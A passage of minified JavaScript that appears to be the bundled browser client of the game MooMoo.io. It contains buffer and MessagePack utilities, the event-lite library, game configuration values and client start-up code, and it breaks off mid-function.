function O(e, t, n, i, r, s) {
if (!c.isBuffer(e))
throw new TypeError('"buffer" argument must be a Buffer instance');
if (t > r || t < s)
throw new RangeError('"value" argument is out of bounds');
if (n + i > e.length)
throw new RangeError("Index out of range")
}
function R(e, t, n, i) {
t < 0 && (t = 65535 + t + 1);
for (var r = 0, s = Math.min(e.length - n, 2); r < s; ++r)
e[n + r] = (t & 255 << 8 * (i ? r : 1 - r)) >>> 8 * (i ? r : 1 - r)
}
function j(e, t, n, i) {
t < 0 && (t = 4294967295 + t + 1);
for (var r = 0, s = Math.min(e.length - n, 4); r < s; ++r)
e[n + r] = t >>> 8 * (i ? r : 3 - r) & 255
}
function _(e, t, n, i, r, s) {
if (n + i > e.length)
throw new RangeError("Index out of range");
if (n < 0)
throw new RangeError("Index out of range")
}
function U(e, t, n, i, s) {
return s || _(e, 0, n, 4),
r.write(e, t, n, i, 23, 4),
n + 4
}
function D(e, t, n, i, s) {
return s || _(e, 0, n, 8),
r.write(e, t, n, i, 52, 8),
n + 8
}
c.prototype.slice = function(e, t) {
var n, i = this.length;
if ((e = ~~e) < 0 ? (e += i) < 0 && (e = 0) : e > i && (e = i),
(t = void 0 === t ? i : ~~t) < 0 ? (t += i) < 0 && (t = 0) : t > i &&
(t = i),
t < e && (t = e),
c.TYPED_ARRAY_SUPPORT)
(n = this.subarray(e, t)).__proto__ = c.prototype;
else {
var r = t - e;
n = new c(r,void 0);
for (var s = 0; s < r; ++s)
n[s] = this[s + e]
}
return n
}
,
c.prototype.readUIntLE = function(e, t, n) {
e |= 0,
t |= 0,
n || C(e, t, this.length);
for (var i = this[e], r = 1, s = 0; ++s < t && (r *= 256); )
i += this[e + s] * r;
return i
}
,
c.prototype.readUIntBE = function(e, t, n) {
e |= 0,
t |= 0,
n || C(e, t, this.length);
for (var i = this[e + --t], r = 1; t > 0 && (r *= 256); )
i += this[e + --t] * r;
return i
}
,
c.prototype.readUInt8 = function(e, t) {
return t || C(e, 1, this.length),
this[e]
}
,
c.prototype.readUInt16LE = function(e, t) {
return t || C(e, 2, this.length),
this[e] | this[e + 1] << 8
}
,
c.prototype.readUInt16BE = function(e, t) {
return t || C(e, 2, this.length),
this[e] << 8 | this[e + 1]
}
,
c.prototype.readUInt32LE = function(e, t) {
return t || C(e, 4, this.length),
(this[e] | this[e + 1] << 8 | this[e + 2] << 16) + 16777216 * this[e +
3]
}
,
c.prototype.readUInt32BE = function(e, t) {
return t || C(e, 4, this.length),
16777216 * this[e] + (this[e + 1] << 16 | this[e + 2] << 8 | this[e +
3])
}
,
c.prototype.readIntLE = function(e, t, n) {
e |= 0,
t |= 0,
n || C(e, t, this.length);
for (var i = this[e], r = 1, s = 0; ++s < t && (r *= 256); )
i += this[e + s] * r;
return i >= (r *= 128) && (i -= Math.pow(2, 8 * t)),
i
}
,
c.prototype.readIntBE = function(e, t, n) {
e |= 0,
t |= 0,
n || C(e, t, this.length);
for (var i = t, r = 1, s = this[e + --i]; i > 0 && (r *= 256); )
s += this[e + --i] * r;
return s >= (r *= 128) && (s -= Math.pow(2, 8 * t)),
s
}
,
c.prototype.readInt8 = function(e, t) {
return t || C(e, 1, this.length),
128 & this[e] ? -1 * (255 - this[e] + 1) : this[e]
}
,
c.prototype.readInt16LE = function(e, t) {
t || C(e, 2, this.length);
var n = this[e] | this[e + 1] << 8;
return 32768 & n ? 4294901760 | n : n
}
,
c.prototype.readInt16BE = function(e, t) {
t || C(e, 2, this.length);
var n = this[e + 1] | this[e] << 8;
return 32768 & n ? 4294901760 | n : n
}
,
c.prototype.readInt32LE = function(e, t) {
return t || C(e, 4, this.length),
this[e] | this[e + 1] << 8 | this[e + 2] << 16 | this[e + 3] << 24
}
,
c.prototype.readInt32BE = function(e, t) {
return t || C(e, 4, this.length),
this[e] << 24 | this[e + 1] << 16 | this[e + 2] << 8 | this[e + 3]
}
,
c.prototype.readFloatLE = function(e, t) {
return t || C(e, 4, this.length),
r.read(this, e, !0, 23, 4)
}
,
c.prototype.readFloatBE = function(e, t) {
return t || C(e, 4, this.length),
r.read(this, e, !1, 23, 4)
}
,
c.prototype.readDoubleLE = function(e, t) {
return t || C(e, 8, this.length),
r.read(this, e, !0, 52, 8)
}
,
c.prototype.readDoubleBE = function(e, t) {
return t || C(e, 8, this.length),
r.read(this, e, !1, 52, 8)
}
,
c.prototype.writeUIntLE = function(e, t, n, i) {
e = +e,
t |= 0,
n |= 0,
i || O(this, e, t, n, Math.pow(2, 8 * n) - 1, 0);
var r = 1
, s = 0;
for (this[t] = 255 & e; ++s < n && (r *= 256); )
this[t + s] = e / r & 255;
return t + n
}
,
c.prototype.writeUIntBE = function(e, t, n, i) {
e = +e,
t |= 0,
n |= 0,
i || O(this, e, t, n, Math.pow(2, 8 * n) - 1, 0);
var r = n - 1
, s = 1;
for (this[t + r] = 255 & e; --r >= 0 && (s *= 256); )
this[t + r] = e / s & 255;
return t + n
}
,
c.prototype.writeUInt8 = function(e, t, n) {
return e = +e,
t |= 0,
n || O(this, e, t, 1, 255, 0),
c.TYPED_ARRAY_SUPPORT || (e = Math.floor(e)),
this[t] = 255 & e,
t + 1
}
,
c.prototype.writeUInt16LE = function(e, t, n) {
return e = +e,
t |= 0,
n || O(this, e, t, 2, 65535, 0),
c.TYPED_ARRAY_SUPPORT ? (this[t] = 255 & e,
this[t + 1] = e >>> 8) : R(this, e, t, !0),
t + 2
}
,
c.prototype.writeUInt16BE = function(e, t, n) {
return e = +e,
t |= 0,
n || O(this, e, t, 2, 65535, 0),
c.TYPED_ARRAY_SUPPORT ? (this[t] = e >>> 8,
this[t + 1] = 255 & e) : R(this, e, t, !1),
t + 2
}
,
c.prototype.writeUInt32LE = function(e, t, n) {
return e = +e,
t |= 0,
n || O(this, e, t, 4, 4294967295, 0),
c.TYPED_ARRAY_SUPPORT ? (this[t + 3] = e >>> 24,
this[t + 2] = e >>> 16,
this[t + 1] = e >>> 8,
this[t] = 255 & e) : j(this, e, t, !0),
t + 4
}
,
c.prototype.writeUInt32BE = function(e, t, n) {
return e = +e,
t |= 0,
n || O(this, e, t, 4, 4294967295, 0),
c.TYPED_ARRAY_SUPPORT ? (this[t] = e >>> 24,
this[t + 1] = e >>> 16,
this[t + 2] = e >>> 8,
this[t + 3] = 255 & e) : j(this, e, t, !1),
t + 4
}
,
c.prototype.writeIntLE = function(e, t, n, i) {
if (e = +e,
t |= 0,
!i) {
var r = Math.pow(2, 8 * n - 1);
O(this, e, t, n, r - 1, -r)
}
var s = 0
, a = 1
, o = 0;
for (this[t] = 255 & e; ++s < n && (a *= 256); )
e < 0 && 0 === o && 0 !== this[t + s - 1] && (o = 1),
this[t + s] = (e / a >> 0) - o & 255;
return t + n
}
,
c.prototype.writeIntBE = function(e, t, n, i) {
if (e = +e,
t |= 0,
!i) {
var r = Math.pow(2, 8 * n - 1);
O(this, e, t, n, r - 1, -r)
}
var s = n - 1
, a = 1
, o = 0;
for (this[t + s] = 255 & e; --s >= 0 && (a *= 256); )
e < 0 && 0 === o && 0 !== this[t + s + 1] && (o = 1),
this[t + s] = (e / a >> 0) - o & 255;
return t + n
}
,
c.prototype.writeInt8 = function(e, t, n) {
return e = +e,
t |= 0,
n || O(this, e, t, 1, 127, -128),
c.TYPED_ARRAY_SUPPORT || (e = Math.floor(e)),
e < 0 && (e = 255 + e + 1),
this[t] = 255 & e,
t + 1
}
,
c.prototype.writeInt16LE = function(e, t, n) {
return e = +e,
t |= 0,
n || O(this, e, t, 2, 32767, -32768),
c.TYPED_ARRAY_SUPPORT ? (this[t] = 255 & e,
this[t + 1] = e >>> 8) : R(this, e, t, !0),
t + 2
}
,
c.prototype.writeInt16BE = function(e, t, n) {
return e = +e,
t |= 0,
n || O(this, e, t, 2, 32767, -32768),
c.TYPED_ARRAY_SUPPORT ? (this[t] = e >>> 8,
this[t + 1] = 255 & e) : R(this, e, t, !1),
t + 2
}
,
c.prototype.writeInt32LE = function(e, t, n) {
return e = +e,
t |= 0,
n || O(this, e, t, 4, 2147483647, -2147483648),
c.TYPED_ARRAY_SUPPORT ? (this[t] = 255 & e,
this[t + 1] = e >>> 8,
this[t + 2] = e >>> 16,
this[t + 3] = e >>> 24) : j(this, e, t, !0),
t + 4
}
,
c.prototype.writeInt32BE = function(e, t, n) {
return e = +e,
t |= 0,
n || O(this, e, t, 4, 2147483647, -2147483648),
e < 0 && (e = 4294967295 + e + 1),
c.TYPED_ARRAY_SUPPORT ? (this[t] = e >>> 24,
this[t + 1] = e >>> 16,
this[t + 2] = e >>> 8,
this[t + 3] = 255 & e) : j(this, e, t, !1),
t + 4
}
,
c.prototype.writeFloatLE = function(e, t, n) {
return U(this, e, t, !0, n)
}
,
c.prototype.writeFloatBE = function(e, t, n) {
return U(this, e, t, !1, n)
}
,
c.prototype.writeDoubleLE = function(e, t, n) {
return D(this, e, t, !0, n)
}
,
c.prototype.writeDoubleBE = function(e, t, n) {
return D(this, e, t, !1, n)
}
,
c.prototype.copy = function(e, t, n, i) {
if (n || (n = 0),
i || 0 === i || (i = this.length),
t >= e.length && (t = e.length),
t || (t = 0),
i > 0 && i < n && (i = n),
i === n)
return 0;
if (0 === e.length || 0 === this.length)
return 0;
if (t < 0)
throw new RangeError("targetStart out of bounds");
if (n < 0 || n >= this.length)
throw new RangeError("sourceStart out of bounds");
if (i < 0)
throw new RangeError("sourceEnd out of bounds");
i > this.length && (i = this.length),
e.length - t < i - n && (i = e.length - t + n);
var r, s = i - n;
if (this === e && n < t && t < i)
for (r = s - 1; r >= 0; --r)
e[r + t] = this[r + n];
else if (s < 1e3 || !c.TYPED_ARRAY_SUPPORT)
for (r = 0; r < s; ++r)
e[r + t] = this[r + n];
else
Uint8Array.prototype.set.call(e, this.subarray(n, n + s), t);
return s
}
,
c.prototype.fill = function(e, t, n, i) {
if ("string" == typeof e) {
if ("string" == typeof t ? (i = t,
t = 0,
n = this.length) : "string" == typeof n && (i = n,
n = this.length),
1 === e.length) {
var r = e.charCodeAt(0);
r < 256 && (e = r)
}
if (void 0 !== i && "string" != typeof i)
throw new TypeError("encoding must be a string");
if ("string" == typeof i && !c.isEncoding(i))
throw new TypeError("Unknown encoding: " + i)
} else
"number" == typeof e && (e &= 255);
if (t < 0 || this.length < t || this.length < n)
throw new RangeError("Out of range index");
if (n <= t)
return this;
var s;
if (t >>>= 0,
n = void 0 === n ? this.length : n >>> 0,
e || (e = 0),
"number" == typeof e)
for (s = t; s < n; ++s)
this[s] = e;
else {
var a = c.isBuffer(e) ? e : z(new c(e,i).toString())
, o = a.length;
for (s = 0; s < n - t; ++s)
this[s + t] = a[s % o]
}
return this
}
;
var L = /[^+\/0-9A-Za-z-_]/g;
function F(e) {
return e < 16 ? "0" + e.toString(16) : e.toString(16)
}
function z(e, t) {
var n;
t = t || 1 / 0;
for (var i = e.length, r = null, s = [], a = 0; a < i; ++a) {
if ((n = e.charCodeAt(a)) > 55295 && n < 57344) {
if (!r) {
if (n > 56319) {
(t -= 3) > -1 && s.push(239, 191, 189);
continue
}
if (a + 1 === i) {
(t -= 3) > -1 && s.push(239, 191, 189);
continue
}
r = n;
continue
}
if (n < 56320) {
(t -= 3) > -1 && s.push(239, 191, 189),
r = n;
continue
}
n = 65536 + (r - 55296 << 10 | n - 56320)
} else
r && (t -= 3) > -1 && s.push(239, 191, 189);
if (r = null,
n < 128) {
if ((t -= 1) < 0)
break;
s.push(n)
} else if (n < 2048) {
if ((t -= 2) < 0)
break;
s.push(n >> 6 | 192, 63 & n | 128)
} else if (n < 65536) {
if ((t -= 3) < 0)
break;
s.push(n >> 12 | 224, n >> 6 & 63 | 128, 63 & n | 128)
} else {
if (!(n < 1114112))
throw new Error("Invalid code point");
if ((t -= 4) < 0)
break;
s.push(n >> 18 | 240, n >> 12 & 63 | 128, n >> 6 & 63 | 128, 63
& n | 128)
}
}
return s
}
function H(e) {
return i.toByteArray(function(e) {
if ((e = function(e) {
return e.trim ? e.trim() : e.replace(/^\s+|\s+$/g, "")
}(e).replace(L, "")).length < 2)
return "";
for (; e.length % 4 != 0; )
e += "=";
return e
}(e))
}
function V(e, t, n, i) {
for (var r = 0; r < i && !(r + n >= t.length || r >= e.length); ++r)
t[r + n] = e[r];
return r
}
}
).call(this, n(12))
}
, function(e, t) {
var n;
n = function() {
return this
}();
try {
n = n || new Function("return this")()
} catch (e) {
"object" == typeof window && (n = window)
}
e.exports = n
}
, function(e, t) {
for (var n = t.uint8 = new Array(256), i = 0; i <= 255; i++)
n[i] = r(i);
function r(e) {
return function(t) {
var n = t.reserve(1);
t.buffer[n] = e
}
}
}

, function(e, t, n) {
t.FlexDecoder = s,
t.FlexEncoder = a;
var i = n(0)
, r = "BUFFER_SHORTAGE";
function s() {
if (!(this instanceof s))
return new s
}
function a() {
if (!(this instanceof a))
return new a
}
function o() {
throw new Error("method not implemented: write()")
}
function c() {
throw new Error("method not implemented: fetch()")
}
function l() {
return this.buffers && this.buffers.length ? (this.flush(),
this.pull()) : this.fetch()
}
function h(e) {
(this.buffers || (this.buffers = [])).push(e)
}
function u() {
return (this.buffers || (this.buffers = [])).shift()
}
function f(e) {
return function(t) {
for (var n in e)
t[n] = e[n];
return t
}
}
s.mixin = f({
bufferish: i,
write: function(e) {
var t = this.offset ? i.prototype.slice.call(this.buffer,
this.offset) : this.buffer;
this.buffer = t ? e ? this.bufferish.concat([t, e]) : t : e,
this.offset = 0
},
fetch: c,
flush: function() {
for (; this.offset < this.buffer.length; ) {
var e, t = this.offset;
try {
e = this.fetch()
} catch (e) {
if (e && e.message != r)
throw e;
this.offset = t;
break
}
this.push(e)
}
},
push: h,
pull: u,
read: l,
reserve: function(e) {
var t = this.offset
, n = t + e;
if (n > this.buffer.length)
throw new Error(r);
return this.offset = n,
t
},
offset: 0
}),
s.mixin(s.prototype),
a.mixin = f({
bufferish: i,
write: o,
fetch: function() {
var e = this.start;
if (e < this.offset) {
var t = this.start = this.offset;
return i.prototype.slice.call(this.buffer, e, t)
}
},
flush: function() {
for (; this.start < this.offset; ) {
var e = this.fetch();
e && this.push(e)
}
},
push: h,
pull: function() {
var e = this.buffers || (this.buffers = [])
, t = e.length > 1 ? this.bufferish.concat(e) : e[0];
return e.length = 0,
t
},
read: l,
reserve: function(e) {
var t = 0 | e;
if (this.buffer) {
var n = this.buffer.length
, i = 0 | this.offset
, r = i + t;
if (r < n)
return this.offset = r,
i;
this.flush(),
e = Math.max(e, Math.min(2 * n, this.maxBufferSize))
}
return e = Math.max(e, this.minBufferSize),
this.buffer = this.bufferish.alloc(e),
this.start = 0,
this.offset = t,
0
},
send: function(e) {
var t = e.length;
if (t > this.minBufferSize)
this.flush(),
this.push(e);
else {
var n = this.reserve(t);
i.prototype.copy.call(e, this.buffer, n)
}
},
maxBufferSize: 65536,
minBufferSize: 2048,
offset: 0,
start: 0
}),
a.mixin(a.prototype)
}
, function(e, t, n) {
t.decode = function(e, t) {
var n = new i(t);
return n.write(e),
n.read()
}
;
var i = n(16).DecodeBuffer
}
, function(e, t, n) {
t.DecodeBuffer = r;
var i = n(8).preset;
function r(e) {
if (!(this instanceof r))
return new r(e);
if (e && (this.options = e,
e.codec)) {
var t = this.codec = e.codec;
t.bufferish && (this.bufferish = t.bufferish)
}
}
n(14).FlexDecoder.mixin(r.prototype),
r.prototype.codec = i,
r.prototype.fetch = function() {
return this.codec.decode(this)
}
}
, function(e, t, n) {
var i = n(4)
, r = n(7)
, s = r.Uint64BE
, a = r.Int64BE;
t.getReadFormat = function(e) {
var t = o.hasArrayBuffer && e && e.binarraybuffer
, n = e && e.int64;
return {
map: l && e && e.usemap ? u : h,
array: f,
str: d,
bin: t ? g : p,
ext: m,
uint8: y,
uint16: v,
uint32: b,
uint64: S(8, n ? E : T),
int8: k,
int16: w,
int32: x,
int64: S(8, n ? M : I),
float32: S(4, A),
float64: S(8, P)
}
}
,
t.readUint8 = y;
var o = n(0)
, c = n(6)
, l = "undefined" != typeof Map;
function h(e, t) {
var n, i = {}, r = new Array(t), s = new Array(t), a = e.codec.decode;
for (n = 0; n < t; n++)
r[n] = a(e),
s[n] = a(e);
for (n = 0; n < t; n++)
i[r[n]] = s[n];
return i
}
function u(e, t) {
var n, i = new Map, r = new Array(t), s = new Array(t), a = e.codec.decode;
for (n = 0; n < t; n++)
r[n] = a(e),
s[n] = a(e);
for (n = 0; n < t; n++)
i.set(r[n], s[n]);
return i
}
function f(e, t) {
for (var n = new Array(t), i = e.codec.decode, r = 0; r < t; r++)
n[r] = i(e);
return n
}
function d(e, t) {
var n = e.reserve(t)
, i = n + t;
return c.toString.call(e.buffer, "utf-8", n, i)
}
function p(e, t) {
var n = e.reserve(t)
, i = n + t
, r = c.slice.call(e.buffer, n, i);
return o.from(r)
}
function g(e, t) {
var n = e.reserve(t)
, i = n + t
, r = c.slice.call(e.buffer, n, i);
return o.Uint8Array.from(r).buffer
}
function m(e, t) {
var n = e.reserve(t + 1)
, i = e.buffer[n++]
, r = n + t
, s = e.codec.getExtUnpacker(i);
if (!s)
throw new Error("Invalid ext type: " + (i ? "0x" + i.toString(16) :
i));
return s(c.slice.call(e.buffer, n, r))
}
function y(e) {
var t = e.reserve(1);
return e.buffer[t]
}
function k(e) {
var t = e.reserve(1)
, n = e.buffer[t];
return 128 & n ? n - 256 : n
}
function v(e) {
var t = e.reserve(2)
, n = e.buffer;
return n[t++] << 8 | n[t]
}
function w(e) {
var t = e.reserve(2)
, n = e.buffer
, i = n[t++] << 8 | n[t];
return 32768 & i ? i - 65536 : i
}
function b(e) {
var t = e.reserve(4)
, n = e.buffer;
return 16777216 * n[t++] + (n[t++] << 16) + (n[t++] << 8) + n[t]
}
function x(e) {
var t = e.reserve(4)
, n = e.buffer;
return n[t++] << 24 | n[t++] << 16 | n[t++] << 8 | n[t]
}
function S(e, t) {
return function(n) {
var i = n.reserve(e);
return t.call(n.buffer, i, !0)
}
}
function T(e) {
return new s(this,e).toNumber()
}
function I(e) {
return new a(this,e).toNumber()
}
function E(e) {
return new s(this,e)
}
function M(e) {
return new a(this,e)
}
function A(e) {
return i.read(this, e, !1, 23, 4)
}
function P(e) {
return i.read(this, e, !1, 52, 8)
}
}
, function(e, t, n) {
!function(t) {
e.exports = t;
var n = "listeners"
, i = {
on: function(e, t) {
return a(this, e).push(t),
this
},
once: function(e, t) {
var n = this;
return i.originalListener = t,
a(n, e).push(i),
n;
function i() {
s.call(n, e, i),
t.apply(this, arguments)
}
},
off: s,
emit: function(e, t) {
var n = this
, i = a(n, e, !0);
if (!i)
return !1;
var r = arguments.length;
if (1 === r)
i.forEach((function(e) {
e.call(n)
}
));
else if (2 === r)
i.forEach((function(e) {
e.call(n, t)
}
));
else {
var s = Array.prototype.slice.call(arguments, 1);
i.forEach((function(e) {
e.apply(n, s)
}
))
}
return !!i.length
}
};
function r(e) {
for (var t in i)
e[t] = i[t];
return e
}
function s(e, t) {
var i;
if (arguments.length) {
if (t) {
if (i = a(this, e, !0)) {
if (!(i = i.filter((function(e) {
return e !== t && e.originalListener !== t
}
))).length)
return s.call(this, e);
this[n][e] = i
}
} else if ((i = this[n]) && (delete i[e],
!Object.keys(i).length))
return s.call(this)
} else
delete this[n];
return this
}
function a(e, t, i) {
if (!i || e[n]) {
var r = e[n] || (e[n] = {});
return r[t] || (r[t] = [])
}
}
r(t.prototype),
t.mixin = r
}((/**
* event-lite.js - Light-weight EventEmitter (less than 1KB when gzipped)
*
* @copyright Yusuke Kawasaki
* @license MIT
* @constructor
* @see https://github.com/kawanet/event-lite
* @see http://kawanet.github.io/event-lite/EventLite.html
* @example
* var EventLite = require("event-lite");
*
* function MyClass() {...} // your class
*
* EventLite.mixin(MyClass.prototype); // import event methods
*
* var obj = new MyClass();
* obj.on("foo", function() {...}); // add event listener
* obj.once("bar", function() {...}); // add one-time event listener
* obj.emit("foo"); // dispatch event
* obj.emit("bar"); // dispatch another event
* obj.off("foo"); // remove event listener
*/
function e() {
if (!(this instanceof e))
return new e
}
))
}
, function(e, t, n) {
(function(t) {
//e.exports.maxScreenWidth = 1920,
//e.exports.maxScreenHeight = 1080,
e.exports.maxScreenWidth = 1920,
e.exports.maxScreenHeight = 1080,
e.exports.serverUpdateRate = 9,
e.exports.maxPlayers = t && -1 != t.argv.indexOf("--largeserver") ? 80 :
40,
e.exports.maxPlayersHard = e.exports.maxPlayers + 10,
e.exports.collisionDepth = 6,
e.exports.minimapRate = 3e3,
e.exports.colGrid = 10,
e.exports.clientSendRate = 5,
e.exports.healthBarWidth = 50,
e.exports.healthBarWidth2 = 35,
e.exports.reloadBarWidth = 22,
e.exports.healthBarPad = 4.5,
e.exports.iconPadding = 15,
e.exports.iconPad = .9,
e.exports.deathFadeout = 0,
e.exports.crownIconScale = 60,
e.exports.crownPad = 35,
e.exports.chatCountdown = 3e3,
e.exports.chatCooldown = 500,
e.exports.inSandbox = t && "mm_exp" === t.env.VULTR_SCHEME,
e.exports.maxAge = 100,
e.exports.gatherAngle = Math.PI / 2.6,
e.exports.gatherWiggle = 10,
e.exports.hitReturnRatio = .25,
e.exports.hitAngle = Math.PI / 2,
e.exports.playerScale = 35,
e.exports.playerSpeed = .0016,
e.exports.playerDecel = .993,
e.exports.nameY = 34,
e.exports.skinColors = ["#bf8f54", "#cbb091", "#896c4b", "#fadadc",
"#ececec", "#c37373", "#4c4c4c", "#ecaff7", "#738cc3", "#8bc373"],
e.exports.animalCount = 7,
e.exports.aiTurnRandom = .06,
e.exports.cowNames = ["Sid", "Steph", "Bmoe", "Romn", "Jononthecool",
"Fiona", "Vince", "Nathan", "Nick", "Flappy", "Ronald", "Otis", "Pepe", "Mc
Donald", "Theo", "Fabz", "Oliver", "Jeff", "Jimmy", "Helena", "Reaper", "Ben",
"Alan", "Naomi", "XYZ", "Clever", "Jeremy", "Mike", "Destined", "Stallion",
"Allison", "Meaty", "Sophia", "Vaja", "Joey", "Pendy", "Murdoch", "Theo", "Jared",
"July", "Sonia", "Mel", "Dexter", "Quinn", "Milky"],
e.exports.shieldAngle = Math.PI / 3,
e.exports.weaponVariants = [{
id: 0,
src: "",
xp: 0,
val: 1
}, {
id: 1,
src: "_g",
xp: 3e3,
val: 1.1
}, {
id: 2,
src: "_d",
xp: 7e3,
val: 1.18
}, {
id: 3,
src: "_r",
poison: !0,
xp: 12e3,
val: 1.18
}],
e.exports.fetchVariant = function(t) {
for (var n = t.weaponXP[t.weaponIndex] || 0, i =
e.exports.weaponVariants.length - 1; i >= 0; --i)
if (n >= e.exports.weaponVariants[i].xp)
return e.exports.weaponVariants[i]
}
,
e.exports.resourceTypes = ["wood", "food", "stone", "points"],
e.exports.areaCount = 7,
e.exports.treesPerArea = 9,
e.exports.bushesPerArea = 3,
e.exports.totalRocks = 32,
e.exports.goldOres = 7,
e.exports.riverWidth = 724,
e.exports.riverPadding = 114,
e.exports.waterCurrent = .0011,
e.exports.waveSpeed = 1e-4,
e.exports.waveMax = 1.3,
e.exports.treeScales = [150, 160, 165, 175],
e.exports.bushScales = [80, 85, 95],
e.exports.rockScales = [80, 85, 90],
e.exports.snowBiomeTop = 2400,
e.exports.snowSpeed = .75,
e.exports.maxNameLength = 15,
e.exports.mapScale = 14400,
e.exports.mapPingScale = 40,
e.exports.mapPingTime = 2200
}
).call(this, n(41))
}
, function(e, t) {
var n = {
utf8: {
stringToBytes: function(e) {
return n.bin.stringToBytes(unescape(encodeURIComponent(e)))
},
bytesToString: function(e) {
return decodeURIComponent(escape(n.bin.bytesToString(e)))
}
},
bin: {
stringToBytes: function(e) {
for (var t = [], n = 0; n < e.length; n++)
t.push(255 & e.charCodeAt(n));
return t
},
bytesToString: function(e) {
for (var t = [], n = 0; n < e.length; n++)
t.push(String.fromCharCode(e[n]));
return t.join("")
}
}
};
e.exports = n
}
, function(e, t, n) {
"use strict";
window.loadedScript = !0;
var i = "127.0.0.1" !== location.hostname && !
location.hostname.startsWith("192.168.");
n(22);
var r = n(23)
, s = n(42)
, a = n(43)
, o = n(19)
, c = n(44)
, l = n(45)
, h = (n(46),
n(47))
, u = n(48)
, f = n(55)
, d = n(56)
, p = n(57)
, g = n(58).obj
, m = new a.TextManager
, y = new (n(59))("moomoo.io",3e3,o.maxPlayers,5,!1);
y.debugLog = !1;
var k = !1;
function v() {
ht && ut && (k = !0,
i ? window.grecaptcha.execute("6LevKusUAAAAAAFknhlV8sPtXAk5Z5dGP5T2FYIZ", {
action: "homepage"
}).then((function(e) {
w(e)
}
)) : w(null))
}
function w(e) {
y.start((function(t, n, a) {
var c = (i ? "wss" : "ws") + "://" + t + ":8008/?gameIndex=" + a;
e && (c += "&token=" + encodeURIComponent(e)),
r.connect(c, (function(e) {
Bi(),
setInterval(()=>Bi(), 2500),
e ? ft(e) : (ue.onclick = s.checkTrusted((function() {
!function() {
var e = ++bt > 1
, t = Date.now() - wt > vt;
e && t ? (wt = Date.now(),
xt()) : Tn()
}()
}
)),
s.hookTouchEvents(ue),
fe.onclick = s.checkTrusted((function() {
Oi("https://krunker.io")
}
)),
s.hookTouchEvents(fe),
pe.onclick = s.checkTrusted((function() {
setTimeout((function() {
!function() {
var e = xe.value
, t = prompt("party key", e);
t && (window.onbeforeunload = void 0,
window.location.href = "/?server=" + t)
}()
}
), 10)
}
)),
s.hookTouchEvents(pe),
ge.onclick = s.checkTrusted((function() {
Ae.classList.contains("showing") ?
(Ae.classList.remove("showing"),
me.innerText = "Settings") : (Ae.classList.add("showing"),
me.innerText = "Close")
}
)),
s.hookTouchEvents(ge),
ye.onclick = s.checkTrusted((function() {
yn(),
"block" != Ye.style.display ? Ut() : Ye.style.display = "none"
}
)),
s.hookTouchEvents(ye),
ke.onclick = s.checkTrusted((function() {
"block" != Qe.style.display ? (Qe.style.display = "block",
Ye.style.display = "none",
an(),
Gt()) : Qe.style.display = "none"
}
)),
s.hookTouchEvents(ke),
ve.onclick = s.checkTrusted((function() {
rn()
}
)),
s.hookTouchEvents(ve),
Ne.onclick = s.checkTrusted((function() {
xn()
}
)),
s.hookTouchEvents(Ne),
function() {
for (var e = 0; e < jn.length; ++e) {
var t = new Image;
t.onload = function() {
this.isLoaded = !0
}
,
t.src = ".././img/icons/" + jn[e] + ".png",
Rn[jn[e]] = t
}
}(),
Pe.style.display = "none",
Me.style.display = "block",
Le.value = E("moo_name") || "",
function() {
var e = E("native_resolution");
Zt(e ? "true" == e : "undefined" != typeof cordova),
A = "true" == E("show_ping"),
Ie.hidden = !A,
E("moo_moosic"),
setInterval((function() {
window.cordova &&
(document.getElementById("downloadButtonContainer").classList.add("cordova"),

document.getElementById("mobileDownloadButtonContainer").classList.add("cordova"))
}
), 1e3),
en(),
s.removeAllChildren(Ce);
for (var t = 0; t < l.weapons.length + l.list.length; ++t)
!function(e) {
s.generateElement({
id: "actionBarItem" + e,
class: "actionBarItem",
style: "display:none",
onmouseout: function() {
Tt()
},
parent: Ce
})
}(t);
for (t = 0; t < l.list.length + l.weapons.length; ++t)
!function(e) {
var t = document.createElement("canvas");
t.width = t.height = 66;
var n = t.getContext("2d");
if (n.translate(t.width / 2, t.height / 2),
n.imageSmoothingEnabled = !1,
n.webkitImageSmoothingEnabled = !1,
n.mozImageSmoothingEnabled = !1,
l.weapons[e]) {
n.rotate(Math.PI / 4 + Math.PI);
var i = new Image;
Zn[l.weapons[e].src] = i,
i.onload = function() {
this.isLoaded = !0;
var i = 1 / (this.height / this.width)
, r = l.weapons[e].iPad || 1;
n.drawImage(this, -t.width * r * o.iconPad *
i / 2, -t.height * r * o.iconPad / 2, t.width * r * i * o.iconPad, t.height * r *
o.iconPad),
n.fillStyle = "rgba(0, 0, 70, 0.1)",
n.globalCompositeOperation = "source-atop",
n.fillRect(-t.width / 2, -t.height / 2,
t.width, t.height),
document.getElementById("actionBarItem" +
e).style.backgroundImage = "url(" + t.toDataURL() + ")"
}
,
i.src = ".././img/weapons/" + l.weapons[e].src +
".png",
(r = document.getElementById("actionBarItem" +
e)).onmouseover = s.checkTrusted((function() {
Tt(l.weapons[e], !0)
}
)),
r.onclick = s.checkTrusted((function() {
Sn(e, !0)
}
)),
s.hookTouchEvents(r)
} else {
i = ri(l.list[e - l.weapons.length], !0);
var r, a = Math.min(t.width - o.iconPadding,
i.width);
n.globalAlpha = 1,
n.drawImage(i, -a / 2, -a / 2, a, a),
n.fillStyle = "rgba(0, 0, 70, 0.1)",
n.globalCompositeOperation = "source-atop",
n.fillRect(-a / 2, -a / 2, a, a),
document.getElementById("actionBarItem" +
e).style.backgroundImage = "url(" + t.toDataURL() + ")",
(r = document.getElementById("actionBarItem" +
e)).onmouseover = s.checkTrusted((function() {
Tt(l.list[e - l.weapons.length])
}
)),
r.onclick = s.checkTrusted((function() {
Sn(e - l.weapons.length)
}
)),
s.hookTouchEvents(r)
}
}(t);
Le.ontouchstart = s.checkTrusted((function(e) {
e.preventDefault();
var t = prompt("enter name", e.currentTarget.value);
e.currentTarget.value = t.slice(0, 15)
}
)),
Se.checked = M,
Se.onchange = s.checkTrusted((function(e) {
Zt(e.target.checked)
}
)),
Te.checked = A,
Te.onchange = s.checkTrusted((function(e) {
A = Te.checked,
Ie.hidden = !A,
I("show_ping", A ? "true" : "false")
}
))
}())
}
), {
id: st,
d: ft,
1: En,
2: vi,
4: wi,
33: Ti,
5: Ln,
6: li,
a: gi,
aa: pi,
7: Wn,
8: hi,
sp: ui,
9: xi,
h: Si,
11: Pn,
12: Cn,
13: Bn,
14: bi,
15: Dn,
16: Un,
17: $t,
18: fi,
19: di,
20: Ci,
ac: Ot,
ad: _t,
an: Bt,
st: Rt,
sa: jt,
us: Nt,
ch: hn,
mm: Wt,
t: Mn,
p: Yt,
pp: Pi
}),
pt(),
setTimeout(()=>gt(), 3e3)
}
), (function(e) {
console.error("Vultr error:", e),
